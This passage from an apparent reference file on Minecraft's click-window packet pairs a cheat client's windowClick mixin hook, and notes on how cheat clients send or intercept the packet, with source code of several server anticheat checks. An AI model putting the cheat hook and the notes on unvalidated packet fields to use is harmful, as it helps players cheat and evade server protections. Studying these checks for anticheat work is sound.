\"getIsHittingBlock\", at = @At(\"HEAD\"), cancellable = true)\n    private void getIsHittingBlock(CallbackInfoReturnable<Boolean> callbackInfoReturnable) {\n        if (LiquidBounce.moduleManager.getModule(AbortBreaking.class).getState())\n            callbackInfoReturnable.setReturnValue(false);\n    }\n\n    @Shadow\n    @Final\n    public NetHandlerPlayClient netClientHandler;\n\n    @Overwrite\n    public ItemStack windowClick(int windowId, int slotId, int mouseButtonClicked, int mode, EntityPlayer playerIn) {\n        final ClickWindowEvent event = new ClickWindowEvent(windowId, slotId, mouseButtonClicked, mode);\n        LiquidBounce.eventManager.callEvent(event);\n\n        if (event.isCancelled())\n            return null;\n        short short1 = playerIn.openContainer.getNextTransactionID(playerIn.inventory);\n        ItemStack itemstack = playerIn.openContainer.slotClick(slotId, mouseButtonClicked, mode, playerIn);\n        this.netClientHandler.addToSendQueue(new C0EPacketClickWindow(windowId, slotId, mouseButtonClicked, mode, itemstack, (short) -1));\n        return itemstack;\n    }\n}\n// NOTE (AI): The @Overwrite fires the cancelable ClickWindowEvent before any packet exists, so click vetoing happens above the network layer. The computed transaction id is discarded in favor of (short) -1; the server echoes the action unvalidated in S32, so clicks still confirm.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinPlayerControllerMP.java",
      "vanilla_hook": "PlayerControllerMP.windowClick @Overwrite (mixin); ClickWindowEvent on the LiquidBounce event bus.",
      "anti_cheat_notes": "The hardcoded -1 action is echoed back in S32 unvalidated, so clicks confirm normally; the quirk only shows in the client's own container transaction counter going stale.",
      "variations": "Click-cancel modules consume the same event; no other corpus client fires a pre-click event above the packet constructor."
     }
    ],
    "general_hooks": "PacketSendEvent (InvMove, BufferAbuse), PacketReceiveEvent (Auto, NoSlow), tick/update loops for click scheduling, PlayerControllerMP.windowClick in Sigma. LiquidSense Dev fires a cancelable ClickWindowEvent from its windowClick @Overwrite, which modules can veto before the C0E exists.",
    "client_variations": "Sigma goes through playerController.windowClick. Rise 5.99 uses PacketUtil.sendPacketWithoutEvent to replay clicks. Rise 6.2.4 uses PacketUtil.sendNoEvent and EventLink listeners. Tenacity uses addToSendQueue directly. Spicy references C0E only inside CsgoSpinbot and YawAndPitchSpoof for packet-spoofing sequences, not for inventory automation. November Recode 2.0 registers C0E in the LuaEventPacket scripting id map (0x0E) so scripts can match and intercept it; LiquidSense Dev intercepts at the mixin layer, above the packet constructor.",
    "related": [
     "S32PacketConfirmTransaction",
     "S2FPacketSetSlot",
     "S30PacketWindowItems",
     "C0FPacketConfirmTransaction"
    ],
    "anticheat": {
     "overview": "The click window packet is the only inventory interaction the server sees: window id, slot, button, action number and the dragged item. Anticheats use it to police click cadence and protocol correctness (Frequency InventoryA, NCP InventoryListener with FastClick and Gutenberg), and to catch movement while an inventory is open, the inventory-move cheat domain (CheaterDeleter InventoryMoveCheck, Negativity InventoryMoveProtocol). Because the packet is also the acknowledgement channel for server transactions, it feeds NCP's window-click and frequency bookkeeping.",
     "checks": [
      {
       "name": "InventoryA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus"
       ],
       "purpose": "Classic statistical inventory-click check: legit clicks arrive with variable spacing, clicker clicks do not.",
       "how_it_works": "Samples the number of flying packets between WrappedPlayInWindowClick packets when fewer than 5 movements separate clicks and the player is not teleporting. At 5 samples it computes the standard deviation and outlier count; a deviation below 1 with zero outliers fails the check.",
       "detects": "Inventory clickers and auto-totem/auto-armor modules that click slots at mechanically constant intervals.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/inventory/InventoryA.java =====\npackage xyz.elevated.frequency.check.impl.inventory;\n\nimport com.google.common.collect.Lists;\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.exempt.type.ExemptType;\nimport xyz.elevated.frequency.util.MathUtil;\nimport xyz.elevated.frequency.util.Pair;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInWindowClick;\n\nimport java.util.Deque;\nimport java.util.List;\n\n@CheckData(name = \"Inventory (A)\")\npublic final class InventoryA extends PacketCheck {\n\n    private int movements = 0;\n    private final Deque<Integer> samples = Lists.newLinkedList();\n\n    public InventoryA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInWindowClick) {\n            final boolean valid = movements < 5 && !this.isExempt(ExemptType.TELEPORTING);\n\n            // Make sure the player has not teleported and the movements are below 5\n            if (valid) samples.add(movements);\n\n            // Once the sample size is 5\n            if (samples.size() == 5) {\n                final Pair<List<Double>, List<Double>> outlierPair = MathUtil.getOutliers(samples);\n\n                // Get the outliers and the deviation from the math utility\n                final double deviation = MathUtil.getStandardDeviation(samples);\n                final double outliers = outlierPair.getX().size() + outlierPair.getY().size();\n\n                // If the deviation is low and there are no outliers, flag\n                if (deviation < 1.f && outliers == 0.0) fail();\n\n                samples.clear();\n            }\n\n            movements = 0;\n        } else if (object instanceof WrappedPlayInFlying) {\n            ++movements;\n        }\n    }\n}\n// NOTE (AI): Frequency InventoryA samples the movement gaps between window click packets: a deviation below 1 with zero outliers across 5 clicks means the clicks are arriving at mechanically constant intervals, which is the inventory-clicker signature.\n",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/inventory/InventoryA.java",
       "variations": "InventoryB in the same package adds delay-pattern scoring; Degrade's InventoryA and azure's InvTweaks checks use the same low-variance template."
      },
      {
       "name": "InventoryMoveCheck (CheaterDeleter)",
       "found_in": [
        "CoolMineman-CheaterDeleter"
       ],
       "purpose": "Modern Fabric-side inventory-move check: position changes while a screen handler is open must agree with the player's velocity.",
       "how_it_works": "A CDModule listening to movement, packet and damage callbacks. While the current screen handler is open and the player is not flying or in a collision cluster, position-change packets are validated: vertical rises with downward velocity flag immediately, and horizontal deltas that grow from a zero-velocity baseline flag after the 500 ms grace window. Closing the screen or taking damage resets the deltas.",
       "detects": "Inventory-move cheats that walk or sprint while the inventory is open, including ghost-inventory movement spoofing.",
       "detailed_code": "// ===== FILE: CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/InventoryMoveCheck.java =====\npackage io.github.coolmineman.cheaterdeleter.modules.movement;\n\nimport io.github.coolmineman.cheaterdeleter.events.PlayerMovementListener;\nimport io.github.coolmineman.cheaterdeleter.events.PacketCallback;\nimport io.github.coolmineman.cheaterdeleter.events.PlayerDamageListener;\nimport io.github.coolmineman.cheaterdeleter.modules.CDModule;\nimport io.github.coolmineman.cheaterdeleter.objects.PlayerMoveC2SPacketView;\nimport io.github.coolmineman.cheaterdeleter.objects.entity.CDPlayer;\nimport io.github.coolmineman.cheaterdeleter.util.BlockCollisionUtil;\nimport net.minecraft.entity.damage.DamageSource;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.listener.ServerPlayPacketListener;\nimport net.minecraft.network.packet.c2s.play.CloseHandledScreenC2SPacket;\nimport net.minecraft.util.ActionResult;\n\npublic class InventoryMoveCheck extends CDModule\n        implements PlayerMovementListener, PacketCallback, PlayerDamageListener {\n    public InventoryMoveCheck() {\n        super(\"inventorymove_check\");\n        PlayerMovementListener.EVENT.register(this);\n        PacketCallback.EVENT.register(this);\n        PlayerDamageListener.EVENT.register(this);\n    }\n\n    @Override\n    public long getFlagCoolDownMs() {\n        return 100;\n    }\n\n    @Override\n    public void onMovement(CDPlayer player, PlayerMoveC2SPacketView packet, MoveCause cause) {\n        if (\n            !enabledFor(player) ||\n            player.isFallFlying() ||\n            player.isSpectator() ||\n            BlockCollisionUtil.isNearby(player, 2, 4, BlockCollisionUtil.NON_SOLID_COLLISION)\n        ) {\n            return;\n        }\n        InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class, InventoryMoveCheckData::new);\n        if (packet.isChangePosition() && player.getCurrentScreenHandler() != null) {\n            if (!data.wasOpen) {\n                data.wasOpen = true;\n                data.openTime = System.currentTimeMillis();\n            }\n            if (invalidateMove(player, packet)) {\n                flag(player, FlagSeverity.MINOR, \"Inventory Move\");\n            }\n        } else if (player.getCurrentScreenHandler() == null) {\n            data.lastDeltaX = Double.MAX_VALUE;\n            data.lastDeltaZ = Double.MAX_VALUE;\n            data.wasOpen = false;\n        }\n    }\n\n    private boolean invalidateMove(CDPlayer player, PlayerMoveC2SPacketView packet) {\n        InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class, InventoryMoveCheckData::new);\n        if (System.currentTimeMillis() - data.openTime < 500)\n            return false;\n        if (player.getVelocity().getY() < 0.0 && packet.getY() > player.getPacketY())\n            return true;\n        double delaX = Math.abs(packet.getX() - player.getPacketX());\n        double delaZ = Math.abs(packet.getZ() - player.getPacketZ());\n        if (player.getVelocity().getX() == 0.0 && delaX > 0.0 && delaX > data.lastDeltaX)\n            return true;\n        if (player.getVelocity().getX() != 0.0) {\n            data.lastDeltaX = Double.MAX_VALUE;\n        } else {\n            data.lastDeltaX = delaX;\n        }\n        if (player.getVelocity().getZ() == 0.0 && delaZ > 0.0 && delaZ > data.lastDeltaZ)\n            return true;\n        if (player.getVelocity().getZ() != 0.0) {\n            data.lastDeltaZ = Double.MAX_VALUE;\n        } else {\n            data.lastDeltaZ = delaZ;\n        }\n        return false;\n    }\n\n    public static class InventoryMoveCheckData {\n        volatile double lastDeltaX = Double.MAX_VALUE;\n        volatile double lastDeltaZ = Double.MAX_VALUE;\n        volatile boolean wasOpen = false;\n        volatile long openTime = 0;\n    }\n\n    @Override\n    public ActionResult onPacket(CDPlayer player, Packet<ServerPlayPacketListener> packet) {\n        if (packet instanceof CloseHandledScreenC2SPacket) {\n            InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class,\n                    InventoryMoveCheckData::new);\n            data.wasOpen = false;\n        }\n        return ActionResult.PASS;\n    }\n\n    @Override\n    public void onPlayerDamage(CDPlayer player, DamageSource source, float amount) {\n        InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class, InventoryMoveCheckData::new);\n        data.lastDeltaX = Double.MAX_VALUE;\n        data.lastDeltaZ = Double.MAX_VALUE;\n        data.openTime = System.currentTimeMillis() + 1000;\n    }\n    \n}\n// NOTE (AI): CheaterDeleter's InventoryMoveCheck is a Fabric-module: while a screen handler is open it validates position-change packets against the player's velocity, flagging horizontal acceleration that contradicts zero velocity. It ties the click window packet family to the movement module.\n",
       "code_source": "CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/InventoryMoveCheck.java",
       "variations": "CheaterDeleter's MovementModuleManager registers the check alongside SpeedCheck and PhaseCheck; Grim's CompensatedInventory and TickInventory simulate the same window state on the server."
      },
      {
       "name": "InventoryMoveProtocol (Negativity)",
       "found_in": [
        "Elikill58-Negativity"
       ],
       "purpose": "Inventory-move scoring protocol: movement while an inventory is open is compared against the baseline captured at open time.",
       "how_it_works": "Arms on InventoryClickEvent and InventoryOpenEvent, then on PlayerMoveEvent accumulates an alert amount: starting to sprint or sneak since the inventory opened adds points, and covering distance at or beyond walk speed since open adds more. When the inventory has been open for 3 ticks and the amount exceeds 2, it alerts with a confidence based on time open.",
       "detects": "Inventory-move cheats that sprint, sneak or walk while an inventory is open, and velocity desync during inventory use.",
       "detailed_code": "// ===== FILE: Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/InventoryMoveProtocol.java =====\npackage com.elikill58.negativity.spigot.protocols;\n\nimport org.bukkit.Material;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.inventory.InventoryClickEvent;\nimport org.bukkit.event.inventory.InventoryCloseEvent;\nimport org.bukkit.event.inventory.InventoryOpenEvent;\nimport org.bukkit.event.inventory.InventoryType.SlotType;\nimport org.bukkit.event.player.PlayerMoveEvent;\n\nimport com.elikill58.negativity.spigot.SpigotNegativity;\nimport com.elikill58.negativity.spigot.SpigotNegativityPlayer;\nimport com.elikill58.negativity.spigot.blocks.SpigotLocation;\nimport com.elikill58.negativity.spigot.utils.LocationUtils;\nimport com.elikill58.negativity.universal.Cheat;\nimport com.elikill58.negativity.universal.CheatKeys;\nimport com.elikill58.negativity.universal.ReportType;\nimport com.elikill58.negativity.universal.adapter.Adapter;\nimport com.elikill58.negativity.universal.utils.UniversalUtils;\n\npublic class InventoryMoveProtocol extends Cheat implements Listener {\n\n\tpublic InventoryMoveProtocol() {\n\t\tsuper(CheatKeys.INVENTORY_MOVE, false, Material.NETHER_STAR, CheatCategory.MOVEMENT, true, \"invmove\");\n\t}\n\n\t@EventHandler\n\tpublic void onMove(PlayerMoveEvent e) {\n\t\tPlayer p = e.getPlayer();\n\t\tSpigotNegativityPlayer np = SpigotNegativityPlayer.getNegativityPlayer(p);\n\t\tif (!np.hasDetectionActive(this) || np.isUsingTrident() || np.hasElytra() || p.isInsideVehicle() || p.getFallDistance() > 0.5 || np.inventoryMoveData == null\n\t\t\t\t|| LocationUtils.isInWater(new SpigotLocation(p.getLocation())) || p.getVelocity().length() > 0.1 || !np.inventoryMoveData.active || LocationUtils.hasMaterialsAround(new SpigotLocation(e.getFrom()), \"PISTON\")) {\n\t\t\tAdapter.getAdapter().debug(\"Velocity length: \" + p.getVelocity().length());\n\t\t\treturn;\n\t\t}\n\t\tif (p.getOpenInventory() == null) {\n\t\t\tnp.inventoryMoveData = null;\n\t\t\tAdapter.getAdapter().debug(\"No opened inventory but data always running ?\");\n\t\t\treturn;\n\t\t}\n\t\tInventoryMoveData data = np.inventoryMoveData;\n\t\tint amount = 0;\n\t\tif (p.isSprinting())\n\t\t\tamount += data.sprint ? 1 : 5; // means it started sprinting since inv open\n\t\tif (p.isSneaking())\n\t\t\tamount += data.sneak ? 1 : 5; // means it started sneaking since inv open\n\n\t\tdouble distance = e.getFrom().distance(e.getTo());\n\t\tdouble distanceXZ = LocationUtils.distanceXZ(e.getFrom(), e.getTo());\n\t\tif (distanceXZ >= data.distanceXZ && distanceXZ >= p.getWalkSpeed()) // if running at least at the same\n\t\t\tamount += (data.distanceXZ - distanceXZ) + 1; // +1 to always have alert\n\n\t\tif (distance >= data.distance && distance >= p.getWalkSpeed() && p.getFallDistance() < 0.5) // fall \"allow\" to make the distance goes brr\n\t\t\tamount += (data.distanceXZ - distanceXZ) + 1 - p.getFallDistance();\n\t\tif (data.timeSinceOpen > 2)\n\t\t\tAdapter.getAdapter().debug(\"Time: \" + data.timeSinceOpen + \", amount: \" + amount);\n\t\tif (data.timeSinceOpen >= 3 && amount > 2) {\n\t\t\tSpigotNegativity.alertMod(ReportType.WARNING, p, this, UniversalUtils.parseInPorcent(80 + data.timeSinceOpen),\n\t\t\t\t\t\"Sprint: \" + p.isSprinting() + \", Sneak: \" + p.isSneaking() + \", data: \" + data + \", vel: \" + p.getVelocity() + \", fd: \" + String.format(\"%.5f\", p.getFallDistance()),\n\t\t\t\t\t(CheatHover) null, amount);\n\t\t}\n\t\tdata.update(distance, distanceXZ);\n\t}\n\n\t@EventHandler\n\tpublic void onClick(InventoryClickEvent e) {\n\t\tif (!(e.getWhoClicked() instanceof Player) || e.getClickedInventory() == null || !e.getSlotType().equals(SlotType.CONTAINER) || e.isCancelled())\n\t\t\treturn;\n\t\tSpigotNegativityPlayer np = SpigotNegativityPlayer.getNegativityPlayer((Player) e.getWhoClicked());\n\t\tif (!np.hasDetectionActive(this))\n\t\t\treturn;\n\t\tcheckInvMove(np, (Player) e.getWhoClicked(), \"Click\");\n\t}\n\n\t@EventHandler\n\tpublic void onOpen(InventoryOpenEvent e) {\n\t\tif (!(e.getPlayer() instanceof Player) || e.isCancelled())\n\t\t\treturn;\n\t\tSpigotNegativityPlayer np = SpigotNegativityPlayer.getNegativityPlayer((Player) e.getPlayer());\n\t\tif (!np.hasDetectionActive(this))\n\t\t\treturn;\n\t\tcheckInvMove(np, (Player) e.getPlayer(), \"Open\");\n\t}\n\n\t@EventHandler\n\tpublic void onClose(InventoryCloseEvent e) {\n\t\tif (e.getPlayer() instanceof Player)\n\t\t\tSpigotNegativityPlayer.getNegativityPlayer((Player) e.getPlayer()).inventoryMoveData.reset((Player) e.getPlayer());\n\t}\n\n\tprivate void checkInvMove(SpigotNegativityPlayer np, Player p, String from) {\n\t\tif (np.hasElytra() || p.isInsideVehicle() || p.getLocation().getBlock().getType().name().contains(\"WATER\"))\n\t\t\treturn;\n\t\tnp.inventoryMoveData.active = true;\n\t}\n\n\t@Override\n\tpublic boolean isBlockedInFight() {\n\t\treturn true;\n\t}\n\n\tpublic static class InventoryMoveData {\n\n\t\tpublic Player p;\n\t\tpublic double distance = 0, distanceXZ = 0;\n\t\tpublic int timeSinceOpen = 0;\n\t\tpublic boolean sprint, sneak, active;\n\n\t\tpublic InventoryMoveData() {\n\t\t\treset(null);\n\t\t}\n\n\t\tpublic void update(double distance, double distanceXZ) {\n\t\t\tthis.distance = distance;\n\t\t\tthis.distanceXZ = distanceXZ;\n\t\t\tthis.timeSinceOpen++;\n\t\t}\n\n\t\tpublic void reset(Player p) {\n\t\t\tthis.sprint = p == null ? false : p.isSprinting();\n\t\t\tthis.sneak = p == null ? false : p.isSneaking();\n\t\t\tthis.active = false;\n\t\t\tthis.distance = 0;\n\t\t\tthis.distanceXZ = 0;\n\t\t\tthis.timeSinceOpen = 0;\n\t\t}\n\n\t\t@Override\n\t\tpublic String toString() {\n\t\t\treturn \"InventoryMoveData{sprint=\" + sprint + \",sneak=\" + sneak + \",distance=\" + String.format(\"%.3f\", distance) + \",distanceXZ=\" + String.format(\"%.3f\", distance) + \",time=\"\n\t\t\t\t\t+ timeSinceOpen + \"}\";\n\t\t}\n\t}\n}\n// NOTE (AI): Negativity's InventoryMoveProtocol arms on InventoryClickEvent/InventoryOpenEvent and scores PlayerMoveEvent deltas while the inventory is open: sprinting, sneaking, or covering distance faster than walk speed since the inventory opened accumulates the alert amount.\n",
       "code_source": "Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/InventoryMoveProtocol.java",
       "variations": "Frequency's BadPacketsJ/M and Rammelkast's InventoryListener enforce the same no-movement-while-open rule on raw packets; Photon's InventoryMove module is the modern equivalent."
      },
      {
       "name": "InventoryListener suite (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "The canonical window-click check set: FastClick, InstantBow, Gutenberg, MoreInventory and Open, driven by inventory events and the click window packet.",
       "how_it_works": "A CheckListener registering the inventory checks with per-player config and data, fed from Bukkit inventory events and the ProtocolLib InventoryAdapter wrapping PacketPlayInWindowClick. FastClick limits clicks per window per second, InstantBow flags bows fired without a charging period, Gutenberg caps creative item spam, MoreInventory catches rapid item nuking, and Open limits how often windows can be reopened.",
       "detects": "Inventory clickers, instant-bow cheats, creative item spam, inventory nuking and window-open cycling.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/inventory/InventoryListener.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.inventory;\n\nimport org.bukkit.ChatColor;\nimport org.bukkit.GameMode;\nimport org.bukkit.Location;\nimport org.bukkit.Material;\nimport org.bukkit.entity.Entity;\nimport org.bukkit.entity.HumanEntity;\nimport org.bukkit.entity.LivingEntity;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.EventPriority;\nimport org.bukkit.event.block.Action;\nimport org.bukkit.event.block.BlockBreakEvent;\nimport org.bukkit.event.block.BlockPlaceEvent;\nimport org.bukkit.event.entity.EntityDeathEvent;\nimport org.bukkit.event.entity.EntityPortalEnterEvent;\nimport org.bukkit.event.entity.EntityShootBowEvent;\nimport org.bukkit.event.entity.FoodLevelChangeEvent;\nimport org.bukkit.event.inventory.InventoryClickEvent;\nimport org.bukkit.event.inventory.InventoryCloseEvent;\nimport org.bukkit.event.inventory.InventoryEvent;\nimport org.bukkit.event.inventory.InventoryOpenEvent;\nimport org.bukkit.event.inventory.InventoryType;\nimport org.bukkit.event.player.PlayerBedEnterEvent;\nimport org.bukkit.event.player.PlayerBedLeaveEvent;\nimport org.bukkit.event.player.PlayerChangedWorldEvent;\nimport org.bukkit.event.player.PlayerEditBookEvent;\nimport org.bukkit.event.player.PlayerInteractEntityEvent;\nimport org.bukkit.event.player.PlayerInteractEvent;\nimport org.bukkit.event.player.PlayerItemConsumeEvent;\nimport org.bukkit.event.player.PlayerItemHeldEvent;\nimport org.bukkit.event.player.PlayerMoveEvent;\nimport org.bukkit.event.player.PlayerPortalEvent;\nimport org.bukkit.event.player.PlayerRespawnEvent;\nimport org.bukkit.event.player.PlayerTeleportEvent;\nimport org.bukkit.inventory.Inventory;\nimport org.bukkit.inventory.ItemStack;\nimport org.bukkit.inventory.meta.BookMeta;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.CheckListener;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.combined.Combined;\nimport fr.neatmonster.nocheatplus.checks.combined.CombinedData;\nimport fr.neatmonster.nocheatplus.checks.combined.Improbable;\nimport fr.neatmonster.nocheatplus.compat.bukkit.BridgeHealth;\nimport fr.neatmonster.nocheatplus.compat.registry.BukkitAPIAccessFactory;\nimport fr.neatmonster.nocheatplus.compat.BridgeMisc;\nimport fr.neatmonster.nocheatplus.components.NoCheatPlusAPI;\nimport fr.neatmonster.nocheatplus.components.data.ICheckData;\nimport fr.neatmonster.nocheatplus.components.data.IData;\nimport fr.neatmonster.nocheatplus.components.entity.IEntityAccessVehicle;\nimport fr.neatmonster.nocheatplus.components.registry.event.IGenericInstanceHandle;\nimport fr.neatmonster.nocheatplus.components.registry.factory.IFactoryOne;\nimport fr.neatmonster.nocheatplus.components.registry.feature.JoinLeaveListener;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.players.PlayerFactoryArgument;\nimport fr.neatmonster.nocheatplus.stats.Counters;\nimport fr.neatmonster.nocheatplus.utilities.entity.InventoryUtil;\nimport fr.neatmonster.nocheatplus.utilities.ReflectionUtil;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties;\nimport fr.neatmonster.nocheatplus.utilities.math.MathUtil;\nimport fr.neatmonster.nocheatplus.utilities.moving.MovingUtil;\nimport fr.neatmonster.nocheatplus.worlds.WorldFactoryArgument;\n\n/**\n * Central location to listen to events that are relevant for the inventory checks.\n * \n * @see InventoryEvent\n */\npublic class InventoryListener  extends CheckListener implements JoinLeaveListener {\n    \n    // Checks\n    /** More Inventory check */\n    private final MoreInventory moreInv = addCheck(new MoreInventory());\n\n    /** The fast click check. */\n    private final FastClick fastClick  = addCheck(new FastClick());\n\n    /** The instant bow check. */\n    private final InstantBow instantBow = addCheck(new InstantBow());\n\n    /** The fast consume check. */\n    private final FastConsume fastConsume = addCheck(new FastConsume());\n    \n    private final Gutenberg gutenberg = addCheck(new Gutenberg());\n    \n    /** The open check */\n    private final Open open = addCheck(new Open());\n    \n    // Other/Auxiliary stuff\n    private boolean keepCancel = false;\n\n    private final boolean hasInventoryAction;\n\n    /** For temporary use: LocUtil.clone before passing deeply, call setWorld(null) after use. */\n    private final Location useLoc = new Location(null, 0, 0, 0);\n\n    private final Counters counters = NCPAPIProvider.getNoCheatPlusAPI().getGenericInstance(Counters.class);\n\n    private final int idCancelDead = counters.registerKey(\"cancel.dead\");\n\n    private final IGenericInstanceHandle<IEntityAccessVehicle> handleVehicles = NCPAPIProvider.getNoCheatPlusAPI().getGenericInstanceHandle(IEntityAccessVehicle.class);\n\n    @SuppressWarnings(\"unchecked\")\n    public InventoryListener() {\n        super(CheckType.INVENTORY);\n        final NoCheatPlusAPI api = NCPAPIProvider.getNoCheatPlusAPI();\n        api.register(api.newRegistrationContext()\n                // InventoryConfig\n                .registerConfigWorld(InventoryConfig.class)\n                .factory(new IFactoryOne<WorldFactoryArgument, InventoryConfig>() {\n                    @Override\n                    public InventoryConfig getNewInstance(\n                            WorldFactoryArgument arg) {\n                        return new InventoryConfig(arg.worldData);\n                    }\n                })\n                .registerConfigTypesPlayer()\n                .context() //\n                // InventoryData\n                .registerDataPlayer(InventoryData.class)\n                .factory(new IFactoryOne<PlayerFactoryArgument, InventoryData>() {\n                    @Override\n                    public InventoryData getNewInstance(\n                            PlayerFactoryArgument arg) {\n                        return new InventoryData();\n                    }\n                })\n                .addToGroups(CheckType.INVENTORY, true, IData.class, ICheckData.class)\n                .context() //\n                );\n        hasInventoryAction = ReflectionUtil.getClass(\"org.bukkit.event.inventory.InventoryAction\") != null;\n    }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.LOWEST)\n    public void onEntityShootBow(final EntityShootBowEvent event) {\n        // Only if a player shot the arrow.\n        if (event.getEntity() instanceof Player) {\n            final Player player = (Player) event.getEntity();\n            final IPlayerData pData = DataManager.getPlayerData(player);\n            if (instantBow.isEnabled(player, pData)) {\n                final long now = System.currentTimeMillis();\n                final Location loc = player.getLocation(useLoc);\n                if (Combined.checkYawRate(player, loc.getYaw(), now, loc.getWorld().getName(), pData)) {\n                    // No else if with this, could be cancelled due to other checks feeding, does not have actions.\n                    event.setCancelled(true);\n                }\n\n                final InventoryConfig cc = pData.getGenericInstance(InventoryConfig.class);\n                // Still check instantBow, whatever yawrate says.\n                if (instantBow.check(player, event.getForce(), now)) {\n                    event.setCancelled(true);\n                }\n                else if (cc.instantBowImprobableWeight > 0.0f) {\n                    if (cc.instantBowImprobableFeedOnly) {\n                        Improbable.feed(player, cc.instantBowImprobableWeight, now);\n                    }\n                    else if (Improbable.check(player, cc.instantBowImprobableWeight, now, \"inventory.instantbow\", pData)) {\n                        // Combined fighting speed (Else if: Matter of taste, preventing extreme cascading and actions spam).\n                        event.setCancelled(true);\n                    }\n                }\n                useLoc.setWorld(null);\n            }  \n        }\n    }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.LOWEST)\n    public void onFoodLevelChange(final FoodLevelChangeEvent event) {\n        // Only if a player ate food.\n        if (event.getEntity() instanceof Player) {\n            final Player player = (Player) event.getEntity();\n            if (player.isDead() && BridgeHealth.getHealth(player) <= 0.0) {\n                // Eat after death.\n                event.setCancelled(true);\n                counters.addPrimaryThread(idCancelDead, 1);\n            }\n        }\n    }\n\n    @EventHandler(priority = EventPriority.LOWEST)\n    public void onInventoryClick(final InventoryClickEvent event) {\n        if (!(event.getWhoClicked() instanceof Player)) {\n            return;\n        }\n        final long now = System.currentTimeMillis();\n        final HumanEntity entity = event.getWhoClicked();\n        if (!(entity instanceof Player)) {\n            return;\n        }\n        final Player player = (Player) entity;\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final InventoryData data = pData.getGenericInstance(InventoryData.class);\n        final int slot = event.getSlot();\n        final String inventoryAction = hasInventoryAction ? event.getAction().name() : null;\n        final InventoryConfig cc = pData.getGenericInstance(InventoryConfig.class);\n        if (pData.isDebugActive(checkType)) {\n            outputDebugInventoryClick(player, slot, event, inventoryAction);\n        }\n        // Set this one as soon as we can and regardless if the click was cancelled or not.\n        if (data.inventoryOpenTime == 0) {\n            data.inventoryOpenTime = now;\n            if (pData.isDebugActive(CheckType.INVENTORY)) {\n                debug(player, \"InventoryClickEvent: inventory wasn't explicitly open previously but an inventory click was sent; register time of the 1st click (assume inventory is open from this moment on)\");\n            }\n        }\n        if (event.isCancelled()) {\n            // Previously: ignoreCancelled = true\n            // We still want to know if the player clicked in the inventory (even if cancelled) for the inventory-open estimate above.\n            return;\n        }\n        if (slot == -999 || slot < 0) {\n            // Set and return, not interested in these clicks.\n            data.lastClickTime = now;\n            return;\n        }\n\n        final ItemStack cursor = event.getCursor();\n        final ItemStack clicked = event.getCurrentItem();\n        boolean cancel = false;\n        // Fast inventory manipulation check.\n        if (fastClick.isEnabled(player, pData)) {\n            if (!((event.getInventory().getType().equals(InventoryType.CREATIVE) || player.getGameMode() == GameMode.CREATIVE) && cc.fastClickSpareCreative)) {\n                boolean check = true;\n                try {\n                    // Exempted inventories are not checked.\n                    check = !cc.inventoryExemptions.contains(ChatColor.stripColor(BukkitAPIAccessFactory.getBukkitAccess().getInventoryTitle(event)));\n                }\n                catch (IllegalStateException e) {\n                    // Uhm... Can this ISE be fixed?\n                    check = true; \n                }\n                \n                if (check) {\n                    // Check for too quick interactions first (we don't need to check for fast clicking if the interaction is inhumanly fast)\n                    if (InventoryUtil.isContainerInventory(event.getInventory().getType())\n                        && fastClick.checkContainerInteraction(player, data, cc)) {\n                        cancel = true;\n                        keepCancel = true;\n                    }\n                    // Then check for too fast inventory clicking\n                    if (!cancel && fastClick.check(player, now, event, slot, cursor, clicked, event.isShiftClick(), inventoryAction, data, cc, pData)) {  \n                        cancel = true;\n                    }\n                }\n            }\n        }\n        \n        data.lastClickTime = now;\n        data.clickedSlotType = event.getSlotType();\n        // Cancel the event.\n        if (cancel || keepCancel) {\n            